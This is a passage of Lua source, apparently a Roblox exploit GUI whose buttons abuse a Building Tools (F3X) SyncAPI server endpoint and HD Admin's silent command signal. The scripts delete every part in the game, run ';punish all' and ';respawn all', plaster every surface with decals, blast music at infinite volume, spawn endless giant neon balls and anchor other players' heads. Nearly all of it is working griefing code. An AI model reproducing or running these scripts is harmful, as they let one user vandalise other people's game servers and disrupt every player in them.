(imported_model:IsA("Model") and imported_model.PrimaryPart) or imported_model:FindFirstChildWhichIsA("BasePart") local originCF = primary and primary.CFrame or CFrame.new() for _, v in next, imported_model:GetDescendants() do pcall(function() if v:IsA("BasePart") then v.Anchored = true end end) end local destination = workspace task.delay(10, function() imported_model:Destroy() end) local function f3xbuildpart(targetCF, fake_part) local partType = "Normal" if fake_part:IsA("WedgePart") then partType = "Wedge" elseif fake_part:IsA("Seat") then partType = "Seat" elseif fake_part:IsA("VehicleSeat") then partType = "VehicleSeat" elseif fake_part:IsA("TrussPart") then partType = "Truss" elseif fake_part:IsA("SpawnLocation") then partType = "Spawn" elseif fake_part:IsA("Part") then if fake_part.Shape == Enum.PartType.Ball then partType = "Ball" elseif fake_part.Shape == Enum.PartType.Cylinder then partType = "Cylinder" end end local created = serverendpoint:InvokeServer("CreatePart", partType, targetCF, destination) if created then task.spawn(function() serverendpoint:InvokeServer("SyncResize", { { Part = created, CFrame = created.CFrame, Size = fake_part.Size } }) if fake_part.Transparency ~= 0 then serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Transparency = fake_part.Transparency } }) end serverendpoint:InvokeServer("SyncColor", { { Part = created, Color = fake_part.Color, UnionColoring = true } }) serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Material = fake_part.Material } }) serverendpoint:InvokeServer("SyncCollision", { { Part = created, CanCollide = fake_part.CanCollide } }) local texture = fake_part:FindFirstChildOfClass("Texture") if texture then serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = texture.Face, TextureType = "Texture" } }) serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency } }) end local decal = fake_part:FindFirstChildOfClass("Decal") if decal then serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = decal.Face, TextureType = "Decal" } }) serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency } }) end local mesh = fake_part:FindFirstChildOfClass("SpecialMesh") if mesh then serverendpoint:InvokeServer("CreateMeshes", { { Part = created } }) serverendpoint:InvokeServer("SyncMesh", { { Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale } }) end end) end end for _, part in next, imported_model:GetDescendants() do if part:IsA("BasePart") then local relativeCF = originCF:ToObjectSpace(part.CFrame) local finalCF = ModelPosition:ToWorldSpace(relativeCF) task.spawn(function() f3xbuildpart(finalCF, part) end) end end print("Done!") end huse() end) end; task.spawn(C_28); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_2a() local script = G2L["2a"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1332644289 ;pitch 0.80 ;volume inf") wait(4) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("18454759223") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function SetVertexColor(part, vec) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["VertexColor"] = vec } } } _(args) end function Sky(id) local root = char:WaitForChild("HumanoidRootPart") local pos = root.CFrame + Vector3.new(0, -15, 0) CreatePart(pos, workspace) task.wait(0.2) local skyPart for _, v in workspace:GetChildren() do if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then skyPart = v break end end if skyPart then SetName(skyPart, "Skybox") AddMesh(skyPart) SetMesh(skyPart, "111891702759441") SetTexture(skyPart, id) MeshResize(skyPart, Vector3.new(9000, 9000, 9000)) SetLocked(skyPart, true) SetAnchor(true, skyPart) SetVertexColor(skyPart, Vector3.new(3,3,3)) end end Sky("2577916730") for _, v in pairs(game.Players:GetPlayers()) do v.Chatted:Connect(function(msg) if msg == "/e laugh" then local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 130759239") RequestCommand:InvokeServer(";volume 10") task.wait(2.078) RequestCommand:InvokeServer(";unmusic") task.wait(0.1) RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf") end end) end end) end; task.spawn(C_2a); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_2c() local script = G2L["2c"]; script.Parent.MouseButton1Click:Connect(function() -- original script: require(17102919719).map("yournamehere") local ReplicatedStorage = game:GetService("ReplicatedStorage") local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function _(args) serverendpoint:InvokeServer(unpack(args)) end local function createtexture(part, side) local args = { "CreateTextures", { { Part = part, Face = side, TextureType = "Texture" } } } _(args) end function mate(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = int } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function floor(part, face) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = face, ["TextureType"] = "Texture", ["Texture"] = "rbxassetid://83901588886686", ["StudsPerTileV"] = 2, ["StudsPerTileU"] = 2 } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function unanchorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() DestroyPart(v) end) end end end local function realm() rq:InvokeServer(";punish all") unanchorall() task.wait(1) local model_id = "17102919719" local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1] imported_model.Parent = game.Lighting for _, v in next, imported_model:GetDescendants() do pcall(function() v.Anchored = true end) end local plr = game:GetService("Players").LocalPlayer local f3x_name = "Building Tools" local destination = workspace coroutine.wrap(function() task.wait(10) imported_model.Parent = nil end)() function f3xbuildpart(part, cframe, destination, size, transparency, colour, material, collision, fake_part) local allPartsData = {} table.insert(allPartsData, { Type = fake_part:IsA("WedgePart") and "Wedge" or fake_part:IsA("Seat") and "Seat" or fake_part:IsA("VehicleSeat") and "VehicleSeat" or fake_part:IsA("TrussPart") and "Truss" or fake_part:IsA("SpawnLocation") and "Spawn" or fake_part.Shape == Enum.PartType.Block and "Normal" or fake_part.Shape == Enum.PartType.Ball and "Ball" or fake_part.Shape == Enum.PartType.Cylinder and "Cylinder", CFrame = fake_part.CFrame, Size = fake_part.Size, Transparency = fake_part.Transparency, Color = fake_part.Color, Material = fake_part.Material, Collision = fake_part.CanCollide, Ref = fake_part, }) local sync = plr.Backpack:FindFirstChild(f3x_name).SyncAPI.ServerEndpoint local partMap = {} for _, data in ipairs(allPartsData) do local created = sync:InvokeServer("CreatePart", data.Type, data.CFrame, destination) partMap[data.Ref] = created end for _, data in ipairs(allPartsData) do local created = partMap[data.Ref] if not created then continue end spawn(function() if data.Size ~= Vector3.new(4,1,2) then sync:InvokeServer("SyncResize", { { Part = created, CFrame = created.CFrame, Size = data.Size } }) end if data.Transparency ~= 0 then sync:InvokeServer("SyncMaterial", { { Part = created, Transparency = data.Transparency } }) end if data.Color ~= BrickColor.new("Medium stone grey").Color then sync:InvokeServer("SyncColor", { { Part = created, Color = data.Color, UnionColoring = true } }) end if data.Material ~= "Plastic" then sync:InvokeServer("SyncMaterial", { { Part = created, Material = data.Material } }) end if data.Collision ~= true then sync:InvokeServer("SyncCollision", { { Part = created, CanCollide = data.Collision } }) end local ref = data.Ref local texture = ref:FindFirstChildOfClass("Texture") if texture then sync:InvokeServer("CreateTextures", { { Part = created, Face = texture.Face, TextureType = "Texture" } }) sync:InvokeServer("SyncTexture", { { Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency } }) end local decal = ref:FindFirstChildOfClass("Decal") if decal then sync:InvokeServer("CreateTextures", { { Part = created, Face = decal.Face, TextureType = "Decal" } }) sync:InvokeServer("SyncTexture", { { Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency } }) end local mesh = ref:FindFirstChildOfClass("SpecialMesh") if mesh then sync:InvokeServer("CreateMeshes", { { Part = created } }) sync:InvokeServer("SyncMesh", { { Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale } }) end local light1 = ref:FindFirstChildOfClass("SpotLight") if light1 then sync:InvokeServer("CreateLights", { { Part = created, LightType = "SpotLight" } }) sync:InvokeServer("SyncLighting", { { Part = created, LightType = "SpotLight", Color = light1.Color, Range = light1.Range, Face = light1.Face, Angle = light1.Angle, Shadows = light1.Shadows } }) end local light2 = ref:FindFirstChildOfClass("PointLight") if light2 then sync:InvokeServer("CreateLights", { { Part = created, LightType = "PointLight" } }) sync:InvokeServer("SyncLighting", { { Part = created, LightType = "PointLight", Color = light2.Color, Range = light2.Range, Shadows = light2.Shadows } }) end end) end end for _, part in next, imported_model:GetDescendants() do local function spawnpart(fn) task.spawn(fn) end if part:IsA("Part") then if part.Shape == Enum.PartType.Block then spawnpart(function() f3xbuildpart("Normal", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part.Shape == Enum.PartType.Ball then spawnpart(function() f3xbuildpart("Ball", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part.Shape == Enum.PartType.Cylinder then spawnpart(function() f3xbuildpart("Cylinder", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) end elseif part:IsA("WedgePart") then spawnpart(function() f3xbuildpart("Wedge", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part:IsA("Seat") then spawnpart(function() f3xbuildpart("Seat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part:IsA("TrussPart") then spawnpart(function() f3xbuildpart("Truss", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part:IsA("VehicleSeat") then spawnpart(function() f3xbuildpart("VehicleSeat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) elseif part:IsA("SpawnLocation") then spawnpart(function() f3xbuildpart("Spawn", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part) end) end end print("Finished build.") task.wait(5) end realm() wait(8) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";respawn all") end) end; task.spawn(C_2c); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_2e() local script = G2L["2e"]; script.Parent.MouseButton1Click:Connect(function() local RunService = game:GetService("RunService") local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local hrp = char:WaitForChild("HumanoidRootPart") local f3xTool for _, v in pairs(player:GetDescendants()) do if v.Name == "SyncAPI" then f3xTool = v.Parent break end end local remote = f3xTool.SyncAPI.ServerEndpoint local function Send(args) remote:InvokeServer(unpack(args)) end local myTool = Instance.new("Tool") myTool.RequiresHandle = false myTool.Name = "Mystic Annihilation" myTool.Parent = player.Backpack myTool.Activated:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1837808628 ;volume 5") local function CreatePart(cf, parent) Send({"CreatePart", "Normal", cf, parent}) end local function MovePart(part, cf) Send({"SyncMove", {{Part = part, CFrame = cf}}}) end local function SetAnchor(bool, part) Send({"SyncAnchor", {{Part = part, Anchored = bool}}}) end local function SetLocked(part, bool) Send({"SetLocked", {part}, bool}) end local function SetCollision(part, bool) Send({"SyncCollision", {{Part = part, CanCollide = bool}}}) end local function Resize(part, size, cf) Send({"SyncResize", {{Part = part, Size = size, CFrame = cf}}}) end local function SetColor(part, color) Send({"SyncColor", {{Part = part, Color = color, UnionColoring = false}}}) end local function createdecal(part, side) Send({"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}}) end local function SetTrans(part, int) Send({"SyncMaterial", {{["Part"] = part, ["Transparency"] = int}}}) end local function AddDecal(part, asset, side) Send({"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}}) end local function DestroyPart(part) Send({"Remove", {part}}) end local depthOffset = -3.69 local offset = Vector3.new(0, 0, 0) local padCF = CFrame.new(hrp.Position + offset + Vector3.new(0, depthOffset, 0)) CreatePart(padCF, workspace) task.wait(0.4) local pad for _, v in pairs(workspace:GetChildren()) do if v:IsA("Part") and (v.Position - padCF.p).Magnitude < 5 then pad = v break end end if pad then SetAnchor(true, pad) SetLocked(pad, true) SetCollision(pad, false) Resize(pad, Vector3.new(50, 1.5, 50), pad.CFrame) SetTrans(pad, 1) SetColor(pad, Color3.fromRGB(255, 255, 255)) createdecal(pad, Enum.NormalId.Top) AddDecal(pad, "196689311", Enum.NormalId.Top) local rotationAngle = 0 local spinSpeed = 5 local connection connection = RunService.Heartbeat:Connect(function() if hrp and pad and pad.Parent then rotationAngle = rotationAngle + spinSpeed local targetPos = hrp.Position + Vector3.new(0, depthOffset, 0) + offset local finalCF = CFrame.new(targetPos) * CFrame.Angles(0, math.rad(rotationAngle), 0) MovePart(pad, finalCF) else connection:Disconnect() end end) task.wait(60) DestroyPart(pad) RequestCommand:InvokeServer(";unmusic") end end) end) end; task.spawn(C_2e); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_30() local script = G2L["30"]; script.Parent.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local player = Players.LocalPlayer local character = player.Character local player = game.Players.LocalPlayer local char = player.Character local ReplicatedStorage = game:GetService("ReplicatedStorage") local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end -- get all info local f3x = getf3x() if not f3x then warn("where yo btools at") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local workspace = game:GetService("Workspace") local player = Players.LocalPlayer local function findTools() local char = player.Character or player.CharacterAdded:Wait() for _, v in ipairs(char:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(player.Backpack:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end end local tool = findTools() if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function call(a) return remote:InvokeServer(unpack(a)) end local function newBall(pos) local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace) call({ "SyncAnchor", { { Part = ball, Anchored = false } } }) call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } }) call({ "SetName", { ball }, "neon ball" }) call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } }) call({ "SetLocked", { ball }, true }) call({ "SyncResize", {{ Part = ball, Size = Vector3.new(270, 270, 270), CFrame = ball.CFrame }} }) end task.spawn(function() while true do task.wait(0.1) local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 task.spawn(function() newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) end) end end) end) end; task.spawn(C_30); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_32() local script = G2L["32"]; script.Parent.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local player = Players.LocalPlayer local character = player.Character local player = game.Players.LocalPlayer local char = player.Character local ReplicatedStorage = game:GetService("ReplicatedStorage") local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end -- get all info local f3x = getf3x() if not f3x then warn("where yo btools at") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local workspace = game:GetService("Workspace") local player = Players.LocalPlayer local function findTools() local char = player.Character or player.CharacterAdded:Wait() for _, v in ipairs(char:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(player.Backpack:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end end local tool = findTools() if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function call(a) return remote:InvokeServer(unpack(a)) end local function newBall(pos) local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace) call({ "SyncAnchor", { { Part = ball, Anchored = false } } }) call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } }) call({ "SetName", { ball }, "neon ball" }) call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } }) call({ "SetLocked", { ball }, true }) call({ "SyncResize", {{ Part = ball, Size = Vector3.new(270, 270, 270), CFrame = ball.CFrame }} }) end task.spawn(function() while true do task.wait(0.1) local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 task.spawn(function() newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) end) end end) end) end; task.spawn(C_32); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_34() local script = G2L["34"]; script.Parent.MouseButton1Click:Connect(function() -- by picklelover local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("where yo btools at") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("where yo btools at") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } serverendpoint:InvokeServer(unpack(args)) end local function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmaterial(part,mate,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } serverendpoint:InvokeServer(unpack(args)) end local function transparency(part,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = trans } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshid(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function makemesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshsize(part, vectora) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = vectora } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshtexture(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function setanchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } serverendpoint:InvokeServer(unpack(args)) end local function fire2(part, color, color2) local args = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 100, ["Color"] = color, ["SecondaryColor"] = color2 } } } serverendpoint:InvokeServer(unpack(args)) end local function makefire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } serverendpoint:InvokeServer(unpack(args)) end local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local plrs = game:GetService("Players") local Workspace = game:GetService("Workspace") for _, player in pairs(plrs:GetPlayers()) do local character = player.Character if character and character:FindFirstChild("HumanoidRootPart") and character ~= plrs.LocalPlayer.Character then local humanoidRootPart = character.HumanoidRootPart -- yo local position = humanoidRootPart.CFrame * CFrame.new(0, 0, 1) task.spawn(function() setanchor(character.Head, true) task.wait(0.5) local hellolol = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) color(hellolol, Color3.new(1, 0, 0)) 